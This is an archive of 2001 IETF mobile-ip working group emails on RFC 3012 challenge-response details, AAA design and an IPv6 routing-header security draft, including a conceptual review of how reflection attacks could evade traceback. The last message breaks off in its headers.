		From:	Charles E. Perkins [mailto:charliep@iprg.nokia.com]
		Sent:	Saturday, November 10, 2001 3:02 PM
		To:	Nish Abrol
		Cc:	mobile-ip@sunroof.eng.sun.com; pcalhoun@diameter.org
		Subject:	Re: [mobile-ip] rfc3012 interpretation
question


		> The question is - if the challenge has less than 237 bytes
- should the high
		> order byte which was already used in the MD5 calculation
be included again as
		> part of the  "least-order 237 bytes from Challenge"?

		After all the discussion, I think it is clear that the
answer should
		be yes.  I have included the following sentence in the
revised draft:

		   If the challenge has fewer than 238 bytes, this algorithm
includes
		   the high-order byte in the computation twice.

		Regards,
		Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 12:49:41 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12903
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 12:49:41 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA08445;
	Mon, 12 Nov 2001 10:48:08 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA16831;
	Mon, 12 Nov 2001 09:47:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACHNrQO007249
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 09:23:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACHNrPA007248
	for mobile-ip-dist; Mon, 12 Nov 2001 09:23:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACHNmQO007241
	for <mobile-ip@sunroof.eng.Sun.COM>; Mon, 12 Nov 2001 09:23:49 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fACHNgq28046;
	Mon, 12 Nov 2001 18:23:43 +0100 (MET)
Date: Mon, 12 Nov 2001 18:22:57 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
To: psavola@funet.fi
Cc: Erik.Nordmark@eng.sun.com, mobile-ip@sunroof.eng.sun.com
Message-ID: <Roam.SIMC.2.0.6.1005585777.15721.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Pekka,

Thanks for bringing up these issues and writing them down in a draft.
I hope the draft helps focus WG discussions.

First a terminolgy question: in section 2 and elsewhere you use
the term "reflected DoS attacks" in a way that seems different than the
Paxon paper. http://www.aciri.org/vern/papers/reflectors.CCR.01/index.html
In particular, I think the following a forward routing header where there
is no information loss is quite different than X sending a TCP SYN packet
with source address A to B in order to get SYN ACK packets sent from B to A.
Do you have a definition of "reflected DoS attacks" that can help clear this
up? Perhaps I'm confused.

In section 2.2 it says "first the trails would lead to reflector2"
but wouldn't the logs indicate the source (spoofed) as the likely
offender. Then deeper analysis will show that there was a routing header
involved.

In 2.3 it talks about using "publicly known routers". Another possibility
is to use anycast addresses that identify sets of routers (like all
routers for an ISP) thereby identifying larger topological clouds than a single
router. I think such usage is more likely than listing individual routers.

As others have pointed out I think there are some issues
with restricting the forwarding to "interface-local" in section 2.4.1.
I agree that there are special cases like security gateways that have
"inside" and "outside" where in general you need to make sure
that routing headers can't be used to skip from one "domain" to another.
But for regular hosts it is fine to allow any interface.
In order to prevent link-locals and site-locals to "leak" 
you need the zone restriction, but one could argue that normal hosts
wouldn't have a security issue here.

Section 2.4.3 talks about a more radical approach to by using routing
header type. I think a cleaner and radical approach would be to define
a new extension header type for what is essentially tunneling with the
source address supressed.
Thus you'd have an IPv6 packet with 
	source = CN
	destination = CoA
and an extention header with
	final destination = Home Address

When the packet is received the receiver *treats this the same* as an
IPinIP encapsulated packet with an outer header
	source = CN
	destination = CoA
and an inner IP header with
	source = CN
	destination = Home Address

That way whatever policy knobs a host has for knowing when a packet
can be decapsulated can be applied.


It might be helpful if Section 3 also went into issues that appear
if ITRACE is used.

Without a home address option a reflector attack can be
done by sending
	src = victim
	dest = reflector
This will cause reverse ITRACE messages to be sent to victim from the
ITRACE capable routers between the attacker and the reflector, thus the
victim can use this to traceback towards the attacker even though its
address is not in the packets.

Using the home address option the attacker can instead send
	src = attacker (gets by ingress filtering)
	dst = reflector
	HAO = victim
In this case the reverse itrace messages go to the attacker i.e. the victim
does not see them.
Once the packet is reflected the "attacker" IP address is lost:
	src = reflector
	dst = victim

Thus HAO can be used to lauch attacks that reverse ITRACE can't track down.

Section 3.4.2 says
   As the address to be compared against is the source address, not
   destination, without keeping state filtering could be performed if
   and only if:
and I'm having a hard time parsing the sentence.

   Erik



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 13:06:40 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA13503
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 13:06:40 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA24254;
	Mon, 12 Nov 2001 11:05:10 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21035;
	Mon, 12 Nov 2001 10:03:51 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACHhFQO007291
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 09:43:15 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACHhFjj007290
	for mobile-ip-dist; Mon, 12 Nov 2001 09:43:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACHhAQO007283
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 09:43:11 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA16083
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 09:43:07 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA27904
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 10:43:14 -0700 (MST)
Received: from T23KEMPF (dhcp116.docomo-usa.com [172.21.96.116])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fACHh3528762;
	Mon, 12 Nov 2001 09:43:03 -0800 (PST)
Message-ID: <004b01c16ba1$41f58280$746015ac@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>,
        "Fredrik Johansson" <fredrik.johansson@ipunplugged.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
References: <MJEMJBGGCLLDLFFAHLJKAEGHDHAA.fredrik.johansson@ipunplugged.com> <3BEF25EA.4BAE9A38@iprg.nokia.com>
Subject: Re: [mobile-ip] AAA keys design comment
Date: Mon, 12 Nov 2001 09:41:26 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Charlie,

What about having the access router perform this function?

Also, isn't the new User Network AAA Protocol (UNAP) working group the right
place to discuss this issue?

        jak

----- Original Message -----
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
To: "Fredrik Johansson" <fredrik.johansson@ipunplugged.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
Sent: Sunday, November 11, 2001 5:29 PM
Subject: Re: [mobile-ip] AAA keys design comment


> Hello Fredrik,
>
> While reading through the AAA keys discussion, I found this text:
>
> >>   It appears that I've been thinking of this too
> >>   much like the v6 model which _does_ require the
> >>   round trip to the HA at all times since there's
> >>   no FA.
> >
> > it's not only the roundtrip over the air that can be
> > more expensive, it's also between the home and foreign
> > network (when the HA is allocated in the home network).
>
> I don't see why we can't use the same AAA/Mobile IP model
> for IPv6 as for IPv4, since some sort of local attendant
> function looks pretty likely.  For Mobile IPv4, the foreign
> agent is the logical place to put the additional attendant
> functionality, but it also has to be somewhere local
> in IPv6.  We have the AAAv6 draft for this purpose, and
> eventually we hope that AAA will pick it up as a work
> item since the IPv6 working group has essentially
> validated the usefulness of having some sort of AAA
> model for authorizing network access for IPv6.  I have to
> be careful to avoid giving the impression that IPv6 has
> validated our AAAv6 draft, because that isn't the case.
> There seem to be many interacting features, and lately
> I have not had time to push forward on this particular
> draft.
>
> Regards,
> Charlie P.
>



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 18:57:07 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24006
	for <mobileip-archive@lists.ietf.org>; Mon, 12 Nov 2001 18:57:07 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA13413;
	Mon, 12 Nov 2001 15:55:44 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA18402;
	Mon, 12 Nov 2001 15:54:17 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNrOQO007987
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:53:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACNrOxS007986
	for mobile-ip-dist; Mon, 12 Nov 2001 15:53:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNrLQO007979
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:53:21 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA21612
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:53:20 -0800 (PST)
From: Mike_Borella@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA26348
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 16:52:14 -0700 (MST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fACNnZc25598;
	Mon, 12 Nov 2001 15:49:35 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fACNqUh06519;
	Mon, 12 Nov 2001 15:52:30 -0800 (PST)
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
To: "Charles E. Perkins" <charliep@iprg.nokia.com>
Cc: mobile-ip@sunroof.eng.sun.com
Date: Mon, 12 Nov 2001 17:52:50 -0600
Message-ID: <OF97CE9FDD.3395CD9E-ON86256B02.0083102E@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Looks great.  A couple of nits:

- Wouldn't the message to/from the verification infrastructure
be something other than RRQ and RRP?

- The RRQ and RRP would be going to the HA instead, and this
step should be there as well IMO.

Thanks,
Mike





"Charles E. Perkins" <charliep@iprg.nokia.com>@iprg.nokia.com on 11/11/2001
05:32:31 PM

Sent by:  charliep@iprg.nokia.com


To:   Mike_Borella@3com.com
cc:   mobile-ip@sunroof.eng.sun.com
Subject:  Re: [mobile-ip] RFC3012 interpretation yet again



Hello Mike,

Mike_Borella@3com.com wrote:

> Well, since you asked...  This is not a purely technical issue, but
> I think it would help a lot if RFC3012bis included a ladder diagram
> of a canonical call flow.  Right now each element's processing
> is discussed in isolation and I believe that an appendix showing the
> order in which events typically occur would help.

How's this:

        MN                  FA              Verification Infrastructure
         |                   |                        |
         |<-- Adv+Challenge--|                        |
         |    (if needed)    |                        |
         |                   |                        |
         |-- RReq+Challenge->|                        |
         |    + Auth.Ext.    |                        |
         |                   |--- RReq + Challenge -->|
         |                   |      + Auth.Ext        |
         |                   |                        |
         |                   |<-- RRep + Auth.Ext.----|
         |                   |                        |
         |<-- RRep+Auth.Ext--|                        |
         |     + Challenge   |                        |
         |                   |                        |


... along with an explanatory paragraph...

Regards,
Charlie P.






From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 18:58:50 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24070
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 18:58:50 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA29648;
	Mon, 12 Nov 2001 16:57:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA19309;
	Mon, 12 Nov 2001 15:57:19 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNueQO008069
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:56:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACNuehS008068
	for mobile-ip-dist; Mon, 12 Nov 2001 15:56:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNubQO008061
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:56:37 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27448
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:56:19 -0800 (PST)
From: Mike_Borella@3com.com
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA28923
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 16:56:19 -0700 (MST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fACNrec25988
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:53:40 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fACNuZh07272
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:56:35 -0800 (PST)
Subject: [mobile-ip] RFC 2002 SPI bug
To: mobile-ip@sunroof.eng.sun.com
Date: Mon, 12 Nov 2001 17:56:57 -0600
Message-ID: <OFC55FDE4C.F127D2F4-ON86256B02.0083326D@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello,

I was looking through the mailing list archives and I can't quite
find what I'm looking for.  Apparently section 3.5.1 of 2002 does
not include the SPI in the authentication hash, but it is common
practice to include the SPI.  I've gathered this from reading the
message in this link:

http://playground.sun.com/pub/mobile-ip/WG-archive/frm02527.html

(Apologies if I'm not reading this correctly...I've made a couple of
assumptions here...)

However, I have not found a reason as to why such a change has
been made.  Can anyone tell me:

- Why the SPI should be in the hash
- If there are any known issues if the SPI does not appear in the hash

Thanks,
Mike




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 12 19:01:29 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24171
	for <mobileip-archive@odin.ietf.org>; Mon, 12 Nov 2001 19:01:28 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA01048;
	Mon, 12 Nov 2001 16:59:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA20021;
	Mon, 12 Nov 2001 15:59:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNwwQO008196
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:58:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fACNwvXD008195
	for mobile-ip-dist; Mon, 12 Nov 2001 15:58:57 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fACNwsQO008188
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:58:54 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA22470
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 15:58:50 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id QAA08237
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 12 Nov 2001 16:58:49 -0700 (MST)
Received: (qmail 32346 invoked by uid 500); 13 Nov 2001 00:46:44 -0000
Date: Mon, 12 Nov 2001 16:46:44 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Cc: "Charles E. Perkins" <charliep@iprg.nokia.com>
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
Message-ID: <20011112164644.L30901@charizard.diameter.org>
References: <OF97CE9FDD.3395CD9E-ON86256B02.0083102E@3com.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OF97CE9FDD.3395CD9E-ON86256B02.0083102E@3com.com>; from Mike_Borella@3com.com on Mon, Nov 12, 2001 at 05:52:50PM -0600
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> - Wouldn't the message to/from the verification infrastructure
> be something other than RRQ and RRP?

It could be anything. This draft tries to introduce the verification
infrastructure to satisfy review comments, but we also don't want to 
copy text from another spec that defines the actual protocol.

PatC


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 05:52:42 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA19201
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 05:52:41 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA29877;
	Tue, 13 Nov 2001 03:51:04 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28398;
	Tue, 13 Nov 2001 02:51:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADAnuQO009235
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 02:49:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADAntAr009234
	for mobile-ip-dist; Tue, 13 Nov 2001 02:49:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADAnqQO009227
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 02:49:52 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA28311
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 02:49:54 -0800 (PST)
Received: from r2m.net ([193.15.228.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id DAA04035
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 03:50:02 -0700 (MST)
Received: (qmail 6104 invoked from network); 13 Nov 2001 12:09:55 -0000
Received: from unknown (HELO mendez) (192.168.1.71)
  by 193.15.228.1 with SMTP; 13 Nov 2001 12:09:55 -0000
Message-ID: <001401c16c30$ef73ac90$4701a8c0@mendez>
From: "Juan Caballero" <juan.caballero@r2m.net>
To: <mobile-ip@sunroof.eng.sun.com>
References: <OF97CE9FDD.3395CD9E-ON86256B02.0083102E@3com.com> <20011112164644.L30901@charizard.diameter.org>
Subject: [mobile-ip] RFC3012 extra questions
Date: Tue, 13 Nov 2001 11:49:56 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Sorry to bring up again the subject but I am doing a thesis work with Mobile
IP and I am trying to integrate AAA (Radius) with Mobile IP and found some
questions regarding the Challenge-Response RFC. I apologize if I just
misunderstood the standards.

1-How is this suppose to work with Hierarchical Mobile IP?

I believe that if a hierarchical structure of FA is used, the lowest FA is
the one sending the Challenge and waiting for the response but it is most
probable the Highest FA the one which communicates with the AAA structure.
Then if the Lowest FA removes the MN-AAA Authentication Extension there is
no info for the highest FA to perform the authentication. Should the lowest
FA just forward the Challenge extension to the Highest FA and this one takes
care of the rest? How are the extensions handled?

2-RFC 2977 (Mobile IP AAA Requirements) states:
"All needed AAA and Mobile IP functions SHOULD be processed during a single
Internet traversal.  This MUST be done without requiring AAA servers to
process protocol messages sent to Mobile IP agents.  The AAA servers MUST
identify the Mobile IP agents and security associations necessary to process
the Mobile IP registration, pass the necessary registration data to those
Mobile IP agents, and remain uninvolved in the routing and authentication
processing steps particular to Mobile IP registration."

In the specific case of Radius, I do not see how to meet both ideas. Either
I try to make a single Internet traversal and then the AAA server needs to
take care of delivering the Mobile IP Registration to the HA or the FA
blocks the Registration Request until the Authentication process is
completed but then two Internet traversals are done.

Should the FA send the registration request to the HA without delay and just
block the reply until it gets a message from the AAA authentication? This
will shorten the delay in the registration even if two Internet traversals
are still needed. But on the other hand the Home Agent will receive a MN-AAA
authentication extension which does not know how to handle since RFC 3012
states:
"The Foreign Agent MUST NOT remove the MN-AAA Authentication Extension from
the Registration Request prior to the completion of the authentication
performed by the AAA infrastructure.  "

It would be nice if some of the people implementing this would show their
opinion.
Thanks,

Juan Caballero



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 07:08:43 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20289
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 07:08:42 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA10775;
	Tue, 13 Nov 2001 04:07:35 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA18034;
	Tue, 13 Nov 2001 04:07:23 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fADC6ZQO009437
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 04:06:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fADC6YS0009436
	for mobile-ip-dist; Tue, 13 Nov 2001 04:06:34 -0800 (PST)
